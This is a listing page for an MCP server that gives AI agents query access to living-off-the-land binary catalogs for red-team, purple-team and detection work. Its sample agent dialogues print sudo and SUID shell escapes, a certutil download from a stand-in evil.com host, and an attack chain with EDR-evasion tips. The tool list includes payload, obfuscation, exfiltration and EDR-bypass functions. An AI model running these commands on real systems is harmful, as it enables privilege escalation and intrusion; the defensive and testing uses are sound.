Skip to main content
Glama
living-off-the-land-lolbins-mcp-server

living-off-the-land-lolbins-mcp-server

by badchars

The Problem

Living off the Land binary intelligence is the missing layer in every red team engagement, purple team exercise, and detection engineering workflow. The binaries you need to abuse, detect, and defend against are documented across 10+ catalogs, each with its own format, its own schema, its own platform focus:

Traditional LOL binary intel workflow:
  Linux privilege escalation         ->  GTFOBins web interface
  Windows LOL binaries               ->  LOLBAS project website
  macOS native binaries              ->  LOOBins web interface
  Vulnerable kernel drivers          ->  LOLDrivers project
  Abusable RMM tools                 ->  LOLRMM project
  VMware ESXi binaries               ->  LOLESXi project
  Living off trusted platforms       ->  LOTP project
  C2 over legitimate services        ->  LOLC2 project
  Firmware/BIOS/cabinet abuse        ->  LOFLCAB project
  Active Directory attacks           ->  WADComs web interface
  cross-platform correlation         ->  copy-paste into a spreadsheet
  ATT&CK mapping                     ->  manual lookup in Navigator
  detection rule writing             ->  start from scratch every time
  ────────────────────────────────────
  Total: hours per engagement, most of it switching contexts and reformatting data

living-off-the-land-lolbins-mcp-server gives your AI agent 59 composite tools (321 total tools) across 10 LOL catalogs via the Model Context Protocol. The agent queries all catalogs in parallel, correlates binaries across platforms, discovers escalation paths, generates detection rules, and presents a unified attack/defense picture — in a single conversation.

With living-off-the-land-lolbins-mcp-server:
  You: "I need to escalate privileges on a Linux box with curl, python3, and find available"

  Agent: -> lol_lookup {binary: "curl", platform: "linux"}
         -> lol_lookup {binary: "python3", platform: "linux"}
         -> lol_lookup {binary: "find", platform: "linux"}
         -> lol_privesc_paths {binaries: ["curl","python3","find"], platform: "linux"}
         -> lol_detect_rules {binary: "find", technique: "suid"}
         -> "3 escalation paths found:
            1. find (SUID) — spawn shell via -exec: find . -exec /bin/sh -p \; -quit
            2. python3 (SUID) — python3 -c 'import os; os.execl("/bin/sh","sh","-p")'
            3. curl (sudo) — if sudo curl is allowed, file read via -o or write via -O
            MITRE ATT&CK: T1548.001 (Setuid/Setgid), T1059.006 (Python)
            Sigma rule generated for sysmon file creation + process exec patterns.
            Detection: monitor execve() calls from find/python3 with euid!=uid."

Related MCP server: OnlineCyberTools MCP (280+ filterable tools)

How It's Different

Existing tools give you raw data one catalog at a time. living-off-the-land-lolbins-mcp-server gives your AI agent the ability to reason across all LOL catalogs simultaneously for attack planning, defense validation, and purple team exercises.


Quick Start

Option 1: npx (no install)

npx living-off-the-land-lolbins-mcp-server

All tools work immediately. No API keys required — all 10 LOL catalogs are open-source data.

Option 2: Clone

git clone https://github.com/badchars/living-off-the-land-lolbins-mcp-server.git
cd living-off-the-land-lolbins-mcp-server
bun install

Connect to your AI agent

# With npx
claude mcp add lolbins-mcp-server -- npx living-off-the-land-lolbins-mcp-server

# With local clone
claude mcp add lolbins-mcp-server -- bun run /path/to/living-off-the-land-lolbins-mcp-server/src/index.ts

Add to ~/Library/Application Support/Claude/claude_desktop_config.json:

{
  "mcpServers": {
    "lolbins": {
      "command": "npx",
      "args": ["-y", "living-off-the-land-lolbins-mcp-server"]
    }
  }
}

Same JSON config format. Point the command to npx living-off-the-land-lolbins-mcp-server or your local installation path.

CLI Usage

# List composite tools (59)
npx living-off-the-land-lolbins-mcp-server --list

# List all tools including sub-tools (321)
npx living-off-the-land-lolbins-mcp-server --list-all

# Show help
npx living-off-the-land-lolbins-mcp-server --help

# Run any tool directly
npx living-off-the-land-lolbins-mcp-server --tool lol_lookup '{"binary":"curl","platform":"linux"}'
npx living-off-the-land-lolbins-mcp-server --tool lol_privesc_paths '{"binaries":["find","python3"],"platform":"linux"}'
npx living-off-the-land-lolbins-mcp-server --tool lol_detect_sigma '{"binary":"certutil.exe","technique":"download"}'
npx living-off-the-land-lolbins-mcp-server --tool lol_driver_check '{"driver":"RTCore64.sys"}'

Start querying

You: "What LOL binaries on Windows can I use for lateral movement without dropping files to disk?"

That's it. The agent searches LOLBAS, correlates with ATT&CK, checks for detection coverage, and presents the full picture automatically.


What The AI Can Do

LOL Binary Lookup & Cross-Platform Correlation

You: "Look up certutil.exe across all platforms and catalogs"

Agent: -> lol_lookup {binary: "certutil.exe"}
       -> lol_cross_platform {binary: "certutil"}
       -> lol_attack_map {binary: "certutil.exe"}
       -> "certutil.exe — Windows LOL binary (LOLBAS):
          Functions: Download (ADS), Encode/Decode (Base64), Alternate Data Streams
          ATT&CK: T1140 (Deobfuscate), T1105 (Ingress Tool Transfer), T1564.004 (ADS)
          Commands:
            Download: certutil -urlcache -split -f http://evil.com/payload.exe out.exe
            Encode:   certutil -encode payload.exe encoded.txt
            Decode:   certutil -decode encoded.txt payload.exe
          Cross-platform equivalents:
            Linux: curl, wget, openssl (GTFOBins)
            macOS: curl, security (LOOBins)
          Detection: Sysmon EventID 1 (ProcessCreate) + EventID 11 (FileCreate)
          Sigma rule generated."

Privilege Escalation Path Discovery

You: "I have sudo access to vim, tar, and zip on Linux. Find escalation paths."

Agent: -> lol_privesc_paths {binaries: ["vim","tar","zip"], platform: "linux"}
       -> lol_lookup {binary: "vim", platform: "linux"}
       -> lol_lookup {binary: "tar", platform: "linux"}
       -> lol_lookup {binary: "zip", platform: "linux"}
       -> "3 privilege escalation paths found:
          1. vim (sudo) — :!/bin/sh — drops to root shell immediately
          2. tar (sudo) — tar cf /dev/null testfile --checkpoint=1
             --checkpoint-action=exec=/bin/sh — shell via checkpoint
          3. zip (sudo) — zip /tmp/x.zip /etc/hosts -T
             -TT 'sh #' — shell via test command
          Risk: HIGH — all three provide immediate root shell
          MITRE: T1548.003 (Sudo and Sudo Caching)
          Remediation: restrict sudo to specific flags, use sudoers NOEXEC"

Detection Engineering

You: "Generate detection rules for mshta.exe abuse"

Agent: -> lol_detect_sigma {binary: "mshta.exe", technique: "execute"}
       -> lol_detect_yara {binary: "mshta.exe"}
       -> lol_detect_sysmon {binary: "mshta.exe"}
       -> lol_detect_edr {binary: "mshta.exe"}
       -> "Detection package for mshta.exe (LOLBAS):
          Sigma: Process creation rule matching mshta.exe spawning
            cmd.exe/powershell.exe + network connection rule
          YARA: Rule matching mshta.exe loading VBScript/JScript payloads
          Sysmon: EventID 1 (child process) + EventID 3 (network)
            config snippet provided
          EDR (KQL): DeviceProcessEvents query for mshta.exe
            with suspicious command-line patterns
          Coverage: T1218.005 (Mshta), T1059.005 (VBScript)"

Environment Enumeration & Attack Planning

You: "I'm on a Windows 10 box. Enumerate which LOL binaries are available and plan an attack chain."

Agent: -> lol_enum_environment {platform: "windows", version: "10"}
       -> lol_attack_graph {platform: "windows", objective: "persistence"}
       -> lol_opsec_check {techniques: ["certutil","mshta","schtasks"]}
       -> "Windows 10 LOL binary inventory:
          154 LOLBAS binaries available by default
          12 LOLDrivers vulnerable drivers known for Win10
          8 LOLRMM tools commonly present
          Attack chain (initial access -> persistence):
            1. mshta.exe — execute HTA payload (T1218.005)
            2. certutil.exe — download additional tools (T1105)
            3. schtasks.exe — establish persistence (T1053.005)
          OPSEC warnings:
            - certutil download triggers Defender ATP alert
            - mshta.exe flagged by most EDR products
            - schtasks.exe is heavily monitored
          Alternatives with lower detection:
            - Use desktopimgdownldr.dll for download instead of certutil
            - Use msiexec for execution instead of mshta"

Purple Team Exercise Generation

You: "Create a purple team exercise around LOLDrivers and BYOVD"

Agent: -> lol_purple_exercise {topic: "BYOVD", catalogs: ["loldrivers"]}
       -> lol_driver_search {query: "kernel", vulnerable: true}
       -> lol_detect_rules {technique: "BYOVD"}
       -> "Purple Team Exercise: Bring Your Own Vulnerable Driver (BYOVD)
          Red Team Steps:
            1. Deploy RTCore64.sys (known vulnerable, CVE-2019-16098)
            2. Load driver via sc.exe create / sc.exe start
            3. Use driver to disable kernel callbacks (EDR bypass)
          Blue Team Validation:
            1. Verify driver load events (Sysmon EventID 6)
            2. Check driver signature against LOLDrivers blocklist
            3. Monitor for kernel callback removal
          Scoring: red success if EDR blind, blue success if detected in <5min
          MITRE: T1068 (Exploitation for Privilege Escalation)
          Caldera profile exported."

Tools Reference (59 Composite Tools)

Tool

Description

lol_lookup

Look up a specific binary/tool across all 10 LOL catalogs &mdash; returns functions, commands, ATT&CK mapping, detection notes

lol_search

Full-text search across all catalogs by keyword, technique, or ATT&CK ID

lol_list_catalogs

List all available LOL catalogs with entry counts, last update time, and status

Tool

Description

lol_enum_environment

Enumerate LOL binaries available on a target platform/version &mdash; returns full inventory of abusable binaries

lol_attack_graph

Build an attack graph from initial access to objective using available LOL binaries with BFS/DFS path finding

lol_cross_platform

Correlate a binary across Linux, Windows, macOS, and ESXi &mdash; shows equivalent abuse techniques per platform

lol_dependency_map

Map dependencies between LOL binaries &mdash; which binaries enable or chain into others

Tool

Description

lol_privesc_paths

Discover privilege escalation paths given a list of available binaries and current access level

lol_suid_audit

Audit SUID/SGID binaries against GTFOBins for exploitable privilege escalation vectors

lol_sudo_audit

Audit sudoers entries against GTFOBins for escalation via sudo misconfigurations

Tool

Description

lol_persist_techniques

Enumerate persistence techniques achievable with available LOL binaries on the target platform

lol_persist_detect

Generate detection logic for LOL binary persistence mechanisms &mdash; registry keys, scheduled tasks, launch agents

Tool

Description

lol_lateral_movement

Find lateral movement techniques using LOL binaries &mdash; WMI, PsExec alternatives, SSH, RDP pivoting

lol_fileless_lateral

Discover fileless lateral movement options that leave minimal forensic artifacts

Tool

Description

lol_evasion_techniques

Enumerate defense evasion techniques for a binary &mdash; AMSI bypass, ETW patching, log evasion

lol_applocker_bypass

Find AppLocker/WDAC bypass techniques using LOL binaries present on the system

lol_amsi_bypass

Discover AMSI bypass methods via LOL binaries and native Windows tools

lol_log_evasion

Find techniques to evade or tamper with logging using LOL binaries

lol_edr_bypass

Discover EDR bypass and blinding techniques using LOL binaries and vulnerable drivers

Tool

Description

lol_credential_harvest

Find credential dumping and harvesting techniques using LOL binaries &mdash; SAM, LSASS, keychain

lol_credential_store

Enumerate credential stores accessible via LOL binaries on the target platform

Tool

Description

lol_execute_techniques

Enumerate all execution techniques for a binary &mdash; command execution, script hosting, DLL loading

lol_execute_fileless

Find fileless execution methods using LOL binaries &mdash; in-memory, reflective loading, living-off-the-land

lol_execute_proxy

Discover execution proxy techniques &mdash; binaries that can execute other binaries indirectly

Tool

Description

lol_discovery_techniques

Find host and network discovery techniques using LOL binaries &mdash; enumeration, recon, fingerprinting

lol_collection_techniques

Enumerate data collection and staging techniques via LOL binaries

Tool

Description

lol_exfiltration

Find data exfiltration techniques using LOL binaries &mdash; DNS, HTTP, ICMP, alternate protocols

lol_c2_channels

Discover C2 channel options using legitimate services and LOL binaries (LOLC2 catalog)

lol_c2_profile

Generate C2 profiles using LOL binaries that blend with normal traffic patterns

Tool

Description

lol_payload_generate

Generate LOL binary abuse payloads for a given technique and platform

lol_payload_encode

Encode/obfuscate payloads using LOL binary capabilities &mdash; certutil, base64, compress

lol_payload_deliver

Find payload delivery methods using LOL binaries &mdash; download cradles, staged delivery

lol_obfuscation

Discover command obfuscation techniques for LOL binary abuse commands

Tool

Description

lol_driver_check

Check a driver against the LOLDrivers database &mdash; known vulnerable, known malicious, CVEs, hashes

lol_rmm_audit

Audit installed RMM tools against LOLRMM catalog &mdash; identify abusable remote management software

lol_firmware_abuse

Search LOFLCAB catalog for firmware, BIOS, and cabinet file abuse techniques

Tool

Description

lol_gtfobins_deep

Deep dive into GTFOBins for a Linux binary &mdash; all functions, shell escapes, file operations

lol_lolbas_deep

Deep dive into LOLBAS for a Windows binary &mdash; all functions, ATT&CK, detection, paths

lol_esxi_deep

Deep dive into LOLESXi for ESXi binary abuse &mdash; VM escape, hypervisor manipulation

Tool

Description

lol_opsec_check

Evaluate OPSEC risk for a set of LOL binary techniques &mdash; detection likelihood, EDR coverage, noise level

lol_engagement_plan

Generate a full engagement plan using LOL binaries for a given objective and constraints

Tool

Description

lol_threat_actor_map

Map LOL binary usage to known threat actors and APT groups

lol_campaign_analysis

Analyze a set of LOL techniques against known campaigns and intrusion sets

lol_trending_techniques

Get trending LOL binary abuse techniques from recent threat intelligence

Tool

Description

lol_forensic_artifacts

Enumerate forensic artifacts left by LOL binary abuse &mdash; logs, registry, prefetch, shimcache

lol_incident_timeline

Correlate LOL binary execution events into an incident timeline

lol_artifact_hunt

Generate forensic hunting queries for LOL binary abuse artifacts across log sources

Tool

Description

lol_detect_sigma

Generate Sigma detection rules for LOL binary abuse techniques

lol_detect_yara

Generate YARA rules for identifying LOL binary abuse patterns in files and memory

lol_detect_sysmon

Generate Sysmon configuration entries for monitoring LOL binary activity

lol_detect_edr

Generate EDR queries (KQL, SPL, EQL) for LOL binary detection

Tool

Description

lol_coverage_gaps

Analyze detection coverage gaps for LOL binary techniques in your environment

lol_baseline_audit

Audit LOL binary execution baselines to identify anomalous usage patterns

lol_red_vs_blue_score

Score red team techniques against blue team detection capabilities for LOL binaries

Tool

Description

lol_wadcoms

Search WADComs for Active Directory attack commands &mdash; Kerberoasting, DCSync, Pass-the-Hash, delegation abuse

Tool

Description

lol_report_export

Export findings as structured reports &mdash; JSON, Markdown, CSV formats

lol_attack_navigator

Export ATT&CK Navigator layer JSON for LOL binary technique coverage

lol_visualize_graph

Generate attack path visualizations &mdash; Mermaid diagrams, Graphviz DOT, ASCII art

Tool

Description

lol_caldera_export

Export LOL binary attack chains as MITRE Caldera adversary profiles for automated simulation


Data Sources (10)

Catalog

Platform

Entries

Type

What it provides

GTFOBins

Linux/Unix

400+

Static/GitHub

Unix binaries exploitable for privilege escalation, file ops, shell escape, SUID abuse

LOLBAS

Windows

250+

Static/GitHub

Windows LOL binaries, scripts, and libraries for execution, evasion, persistence

LOOBins

macOS

50+

Static/GitHub

macOS native binaries abusable for offensive operations

LOLDrivers

Windows (kernel)

700+

API/GitHub

Vulnerable and malicious kernel drivers for BYOVD attacks

LOLRMM

Cross-platform

100+

Static/GitHub

Legitimate RMM tools abused for persistence and remote access

LOLESXi

VMware ESXi

30+

Static/GitHub

ESXi binaries for VM escape, hypervisor manipulation, ransomware deployment

LOTP

Cross-platform

40+

Static/GitHub

Trusted platforms and services abused for malicious purposes

LOLC2

Cross-platform

30+

Static/GitHub

Legitimate services abused as command-and-control channels

LOFLCAB

Cross-platform

20+

Static/GitHub

Firmware, BIOS, and cabinet file abuse techniques

WADComs

Windows AD

150+

Static/GitHub

Active Directory attack commands and techniques


Architecture

src/
  index.ts                  # CLI entrypoint (--help, --list, --list-all, --tool, stdio server)
  protocol/
    mcp-server.ts           # MCP server setup (stdio transport)
    tools.ts                # Tool registry — all 59 composite tools + 321 total tools
  types/
    index.ts                # Shared types (ToolDef, ToolContext, ToolResult, CatalogEntry)
  schema/
    catalog.ts              # Unified catalog schema (Zod)
    technique.ts            # ATT&CK technique schema
    binary.ts               # Binary/tool schema
  utils/
    rate-limiter.ts         # Per-catalog rate limiter
    cache.ts                # TTL cache for catalog data
    loader.ts               # Catalog data loader (fetch + parse + normalize)
    updater.ts              # Catalog auto-updater (check for new entries)
  catalogs/
    gtfobins/               # GTFOBins parser and normalizer
    lolbas/                 # LOLBAS parser and normalizer
    loobins/                # LOOBins parser and normalizer
    loldrivers/             # LOLDrivers parser and normalizer
    lolrmm/                 # LOLRMM parser and normalizer
    lolesxi/                # LOLESXi parser and normalizer
    lotp/                   # LOTP parser and normalizer
    lolc2/                  # LOLC2 parser and normalizer
    loflcab/                # LOFLCAB parser and normalizer
    wadcoms/                # WADComs parser and normalizer
    index.ts                # Catalog registry and loader index
  knowledge-base/
    attack-map.ts           # MITRE ATT&CK mapping engine
    binary-db.ts            # Unified binary database (normalized from all catalogs)
    technique-db.ts         # Technique database with cross-references
  environment/
    enumerator.ts           # Platform environment enumeration
    platform-profiles.ts    # Default binary inventories per OS/version
  graph/
    attack-graph.ts         # Attack graph data structure
    pathfinder.ts           # BFS/DFS path finding algorithms
    visualizer.ts           # Mermaid, Graphviz, ASCII graph rendering
  providers/
    core/                   # Core lookup, search, list tools (3)
    environment/            # Environment & graph tools (4)
    privesc/                # Privilege escalation tools (3)
    persistence/            # Persistence tools (2)
    lateral/                # Lateral movement tools (2)
    evasion/                # Defense evasion tools (5)
    credential/             # Credential access tools (2)
    execution/              # Execution tools (3)
    discovery/              # Discovery & collection tools (2)
    exfiltration/           # Exfiltration & C2 tools (3)
    payload/                # Payload & obfuscation tools (4)
    drivers/                # Drivers, RMM, CI/CD tools (3)
    platform/               # Platform deep dive tools (3)
    opsec/                  # OPSEC & planning tools (2)
    threat-intel/           # Threat intelligence tools (3)
    forensics/              # Forensics & IR tools (3)
    detection/              # Detection engineering tools (4)
    blue-team/              # Blue team analytics tools (3)
    ad/                     # AD & WADComs tools (1)
    reporting/              # Reporting & visualization tools (3)
    integration/            # Integration export tools (1)
  composite/
    index.ts                # Composite tool orchestrator (chains sub-tools)
  scripts/
    update-catalogs.ts      # Script to fetch and update all catalog data
    build-knowledge-base.ts # Script to rebuild the unified knowledge base

Design decisions:

  • 10 catalogs, 1 server &mdash; Every LOL catalog is an independent module with its own parser and normalizer. The agent picks which catalogs to query based on the context.

  • Unified knowledge base &mdash; All 10 catalogs are normalized into a common schema, enabling cross-platform correlation and attack graph reasoning.

  • Composite tools &mdash; 59 composite tools orchestrate 321 underlying sub-tools, so the agent gets high-level capabilities without needing to chain dozens of calls.

  • Attack graph engine &mdash; BFS/DFS path finding over the binary dependency graph enables automated escalation path discovery and attack chain generation.

  • Detection generation &mdash; Sigma, YARA, Sysmon, and EDR query templates are built-in, not generated from scratch each time.

  • Zero API keys &mdash; All 10 LOL catalogs are open-source data. No authentication required for any tool.

  • TTL caching &mdash; Catalog data is cached locally with configurable TTL to avoid redundant fetches during multi-tool workflows.

  • Minimal dependencies &mdash; @modelcontextprotocol/sdk, zod, and cheerio. All HTTP via native fetch.


Requirements

  • Runtime: Bun 1.3.9+ (recommended) or Node.js 22+

  • Platform: macOS, Linux, Windows

  • Network: Internet access for initial catalog fetch (subsequent queries use cache)


Limitations

  • Catalog data freshness depends on upstream project update frequency

  • GTFOBins and LOLBAS have the most comprehensive entries; newer catalogs (LOFLCAB, LOLC2) have fewer

  • Attack graph reasoning is heuristic-based &mdash; paths represent possibilities, not guaranteed exploitation

  • Detection rules are templates that may need tuning for specific environments

  • LOLDrivers vulnerability data covers known CVEs only &mdash; 0-day driver vulnerabilities not included

  • WADComs requires Active Directory context for meaningful results

  • macOS / Linux tested (Windows not tested)


Part of the MCP Security Suite

Project

Domain

Tools

hackbrowser-mcp

Browser-based security testing

39 tools, Firefox, injection testing

cloud-audit-mcp

Cloud security (AWS/Azure/GCP)

38 tools, 60+ checks

github-security-mcp

GitHub security posture

39 tools, 45 checks

cve-mcp

Vulnerability intelligence

23 tools, 5 sources

osint-mcp-server

OSINT & reconnaissance

37 tools, 12 sources

darknet-mcp-server

Dark web & threat intelligence

66 tools, 16 sources

living-off-the-land-lolbins-mcp-server

LOL binary intelligence

59 composite tools, 10 catalogs


Available Tools

59 tools
analyze_binaryA

Deep analysis of a specific binary across all LOL catalogs. Returns full technique details, chain potential, detection surface analysis, functional alternatives, and computed risk score.

Inputs: binary (required), platform, analysis_type, environment_id.

analyze_detection_effectivenessB

Analyze detection rule effectiveness — rule vs technique coverage, false positive estimation, bypass probability, overall rule quality scoring.

Inputs: mode (required), binary, rule_name, technique_id.

analyze_environmentA

Multi-mode environment analysis: compute risk scores, map attack surface, prioritize objectives, compare environments, or generate attack timelines.

Inputs: mode (required), environment_id (required), timeline_steps, attack_objectives, +1 more.

analyze_forensic_artifactA

Analyze forensic artifacts for LOL technique indicators — Windows Event Logs, Process Monitor traces, EDR alerts, network captures.

Inputs: mode (required), event_id, alert_data, command_line, +1 more.

analyze_opsec_riskB

Analyze operational security risk — noise level, log footprint, EDR trigger probability, and safer alternatives for a given command

Inputs: command (required), platform (required), mode, edr_product.

assess_detection_gapsB

Assess detection coverage gaps for LOL techniques — Sigma coverage, EDR coverage, Sysmon events, priority gaps, rule recommendations, blind spots.

Inputs: mode (required), focus_area, edr_product, environment_id.

build_attack_planA

Build structured attack plans from environment assessment — plan generation, scoring, optimization, and export

Inputs: objectives (required), environment_id (required), mode, constraints, +2 more.

chain_obfuscationC

Chain multiple obfuscation layers together for multi-layer command obfuscation

Inputs: command (required), platform (required), mode, layers.

compare_os_versionsA

Compare LOL technique behavior across OS versions — binary behavior differences, technique validity, deprecation tracking, new capabilities.

Inputs: mode (required), binary, os_versions.

compare_platformsB

Cross-platform LOL binary comparison: find equivalents between platforms, compute coverage differences, assess portability of techniques, and build unified attack chains across environments.

Inputs: mode (required), binary, function, environment_ids, +2 more.

correlate_incident_timelineC

Correlate incident timeline events to LOL techniques — map events, identify attack sequences, reconstruct attack chains from evidence.

Inputs: mode (required), events, evidence.

discover_chainsB

Discover multi-step attack chains in an enumerated environment. Chains combine escalation, persistence, lateral movement, and exfiltration steps into coherent attack narratives with reasoning.

Inputs: chain_type (required), environment_id (required), end_goal, max_depth, +1 more.

enumerate_hostA

Parse host enumeration data (linpeas, winpeas, manual output), match against LOL knowledge base, and create an environment session for follow-up analysis. Returns matched binaries, attack surface summary, and top quick-win escalation paths.

Inputs: platform (required), enumeration_data (required), session_name.

export_caldera_profileB

Export MITRE Caldera-compatible profiles — adversary profiles, ability sets, operation plans.

Inputs: mode (required), actor_name, environment_id, operation_name.

export_reportA

Export findings and analysis as reports — JSON, Markdown, ATT&CK Navigator layer, CSV, executive summary.

Inputs: mode (required), classification, environment_id, include_sections.

find_antiforensicsA

Find anti-forensics techniques — log clearing, artifact deletion, timestomping, logging disable, track covering, shadow copy manipulation

Inputs: mode, platform, environment_id.

find_c2_channelsB

Find C2 communication channels using LOL binaries and trusted services — LOLC2, LOTS, tunneling, webhooks, DNS, protocol abuse.

Inputs: mode, domain, service_name, environment_id, +2 more.

find_cicd_abuseB

Find CI/CD pipeline abuse techniques — tool lookup from LOTP catalog, footgun search, pipeline poisoning, config exploitation, supply chain attacks.

Inputs: tag, mode, tool_name, config_file, +1 more.

find_cloud_abuseB

Find cloud CLI abuse techniques — AWS CLI, gcloud, Azure CLI, kubectl, and Terraform for reconnaissance, privilege escalation, persistence, and data access.

Inputs: mode, technique, environment_id.

find_collectionB

Find collection techniques using LOL binaries — file reading, screen capture, clipboard access, input capture.

Inputs: platform, target_data, environment_id, collection_type.

find_com_abuseB

Find COM object abuse techniques — hijacking, DCOM lateral movement, execution proxying, scriptlet loading.

Inputs: mode, environment_id.

find_container_escapeA

Find container and Docker escape techniques — Docker socket abuse, privileged container escape, CAP_SYS_ADMIN abuse, nsenter breakout, cgroup escape.

Inputs: mode, environment_id.

find_credential_accessB

Find credential access techniques — file harvesting, memory dumps, keychain access, registry credentials, token theft, and cached credentials.

Inputs: environment_id (required), target_user, credential_type.

find_defense_evasionC

Find defense evasion techniques — EDR bypass, AMSI bypass, AppLocker bypass, obfuscation, DLL sideloading, driver loading, ADS hiding, timestomping

Inputs: edr_product, evasion_type, target_binary, environment_id.

find_detection_blind_spotsB

Find detection blind spots — zero coverage techniques, partial coverage gaps, evasion-possible techniques, priority-ranked blind spots.

Inputs: mode (required), platform, environment_id.

find_discoveryB

Find discovery and enumeration techniques using LOL binaries — native enumeration, network scanning, service/user/file enumeration.

Inputs: platform, discovery_type, environment_id, stealth_priority.

find_dll_hijackB

Find DLL hijacking techniques — search order hijacking, known vulnerable apps, phantom DLLs, sideloading, proxying, validation

Inputs: mode, application, environment_id.

find_environment_variable_abuseB

Find environment variable abuse techniques — PATH hijacking, LD_PRELOAD, DYLD_INSERT_LIBRARIES, DLL search order, COMSPEC abuse

Inputs: mode, platform, environment_id.

find_escalation_pathsB

Find and rank all privilege escalation paths in an enumerated environment. Supports stealth-priority ranking, multi-step chains, token abuse paths, and container escape detection.

Inputs: environment_id (required), max_steps, include_token, include_chains, +3 more.

find_execution_proxyB

Find execution proxy techniques — signed binary proxy execution, compile-and-execute, script hosts, WMI execution, MMC snap-in abuse.

Inputs: platform, environment_id, execution_type, target_payload.

find_exfiltration_pathsB

Find exfiltration techniques using LOL binaries — HTTP, DNS, LOTS (Living off Trusted Sites), tunnels, ADS streams, ICMP.

Inputs: environment_id (required), data_size, target_data, channel_filter, +1 more.

find_initial_accessB

Find initial access techniques using LOL binaries — download-and-execute, compile, script hosts, macro execution, HTA execution.

Inputs: platform, access_type, bypass_required, delivery_method.

find_lateral_movementB

Find lateral movement techniques using LOL binaries — SSH, WinRM, SMB, RDP, credential reuse, and WMI.

Inputs: environment_id (required), target_hosts, protocol_filter, available_credentials.

find_macos_tcc_bypassB

Find macOS TCC (Transparency, Consent, and Control) bypass techniques — TCC bypass, entitlement abuse, SIP circumvention, Gatekeeper bypass.

Inputs: mode, environment_id, target_permission.

find_named_pipe_abuseB

Find named pipe abuse techniques — impersonation, C2 channels, relay, and discovery.

Inputs: mode, environment_id.

find_native_cryptoB

Find native cryptographic and encoding techniques using LOL binaries — certutil, openssl, gpg, base64, PowerShell.

Inputs: platform, operation, target_binary.

find_package_manager_abuseA

Find package manager abuse techniques — npm lifecycle hooks, pip setup.py, gem hooks, cargo build scripts.

Inputs: mode, target_registry.

find_persistence_pathsA

Find persistence mechanisms using LOL binaries — cron jobs, services, registry keys, startup items, launch agents, scheduled tasks, and DLL persistence.

Inputs: environment_id (required), mechanism_type, survive_reboot, assume_privilege.

find_process_manipulationB

Find process manipulation techniques — parent PID spoofing, process hollowing, LOL binary injection, doppelganging, herpaderping

Inputs: mode, environment_id.

find_rmm_abuseB

Find RMM (Remote Monitoring & Management) tool abuse techniques — installed tool check, persistence paths, detection artifacts, lateral pivoting, silent installation.

Inputs: mode, rmm_tools, target_rmm, environment_id.

find_token_abuseB

Analyze Windows token privileges in an enumerated environment and map them to known abuse techniques, potato attacks, and LOL binaries for privilege escalation.

Inputs: environment_id (required), token_type.

find_wmi_abuseC

Find WMI abuse techniques — persistence via event subscriptions, lateral movement, process execution, reconnaissance.

Inputs: mode, environment_id.

generate_detectionB

Generate detection rules and tests for LOL techniques — Sigma rules, YARA rules, Sysmon config, EDR queries, hunt queries, Atomic Red Team tests.

Inputs: mode (required), binary, attck_id, edr_product, +1 more.

generate_payloadC

Generate LOL binary payload information — command execution, reverse shells, bind shells, file read, file write payloads from the knowledge base

Inputs: payload_type (required), technique_id (required), encode, context, +4 more.

generate_purple_team_planB

Generate purple team exercise plans — red team plan, blue team detection, validation steps, combined exercise.

Inputs: mode (required), objectives, environment_id.

generate_staged_payloadB

Staged payload techniques — compression, encoding, filesystem hiding, scheduled extraction using native OS tools

Inputs: mode, platform, data_path.

identify_techniqueB

Identify LOL technique from forensic evidence — command line analysis, Sysmon events, process trees, EDR alerts.

Inputs: mode (required), command, event_id, alert_text, +2 more.

lookup_binaryB

Look up a binary/tool across all LOL catalogs (GTFOBins, LOLBAS, LOOBins, LOLDrivers, LOLRMM). Returns all known techniques, detection rules, cross-platform equivalents, and chain potential.

Inputs: binary (required), platform, include_related, include_detection.

map_attckB

Map LOL techniques to MITRE ATT&CK framework — technique lookup, coverage map, Navigator layer export, heatmap, gap analysis.

Inputs: mode (required), technique_id, tactic_filter, environment_id.

map_threat_actorB

Map threat actor TTPs to LOL binary techniques — actor-to-technique lookup, technique-to-actor reverse mapping, actor profiles, campaign analysis, and environment-based actor prediction.

Inputs: mode (required), actor, campaign, technique_id, +1 more.

obfuscate_payloadB

Obfuscate commands using LOL techniques — glob wildcards, encoding, alternative binaries, string concatenation, environment variable substitution

Inputs: method (required), command (required), platform (required), iterations, +1 more.

query_wadcomsA

Query WADComs (Windows/Active Directory Commands) database — search commands, filter by attack type, service, or required tool for AD attacks.

Inputs: mode, query, service, os_filter, +2 more.

scan_driversB

Scan and analyze drivers against LOLDrivers database — hash lookup, name lookup, BYOVD candidates, certificate checking, vulnerable driver matching.

Inputs: mode (required), target_edr, driver_list, include_malicious.

score_red_vs_blueB

Score red team vs blue team posture — detection coverage scoring, blind spot severity, overall security posture, improvement plan.

Inputs: mode (required), environment_id.

search_techniquesB

Search LOL techniques by function, ATT&CK ID, platform, stealth score, catalog, keyword, detection coverage, or combined filters. Returns matching entries with full details.

Inputs: mode (required), limit, offset, catalog, +7 more.

simulate_adversaryA

Simulate adversary behavior using LOL binaries — select simulation profile, generate playbook, validate environment, create execution plan.

Inputs: mode (required), objectives, actor_profile, environment_id.

track_technique_evolutionB

Track evolution of LOL binary techniques over time — usage history, OS version changes affecting techniques, and deprecated/removed techniques.

Inputs: mode (required), binary, os_version.

update_knowledge_baseB

Manage the LOL knowledge base: update all catalogs from upstream, update a specific catalog, show diffs, or display statistics.

Inputs: mode (required), since, catalog.

visualize_attack_pathC

Visualize attack paths and chains — Mermaid diagrams, Graphviz DOT, ASCII trees, JSON graph data.

Inputs: mode (required), path_type, environment_id.

Tool Schema Changelog

Recent tool additions, removals, and schema changes observed during successful MCP inspections.

Loading tool schema changelog…

    TDQS

    B3.4/5.0

    Scored across 59 tools

    Disambiguation4/5

    Most tools target distinct attack techniques or functions (e.g., find_escalation_paths, find_c2_channels). Some overlap exists between generic tools like analyze_environment and enumerate_host, but the naming clearly differentiates most tools.

    Naming Consistency5/5

    All tools follow a consistent verb_noun pattern in snake_case (e.g., find_credential_access, export_report, scan_drivers). No mixed conventions or ambiguous names.

    Tool Count3/5

    With 59 tools, the server covers a broad domain but feels over-specialized with many niche tools (e.g., find_macos_tcc_bypass, find_rmm_abuse). Consolidation could improve usability.

    Completeness4/5

    The tool set covers a wide range of attack stages (initial access, persistence, detection, exfiltration, etc.) and includes analysis, planning, and reporting. Minor gaps exist but do not hinder core workflows.

    Maintenance

    ActivityNo data
    ResponsivenessSyncing

    Related MCP Connectors

    Related MCP Servers

    • A
      license
      Not graded
      quality
      A
      maintenance
      An MCP server that exposes a 60+ tool security and threat-intel stack to AI agents, enabling secret scanning, Sigma rule generation, ransomware lookup, OSINT, and deep research.
      1
      MIT
    • A
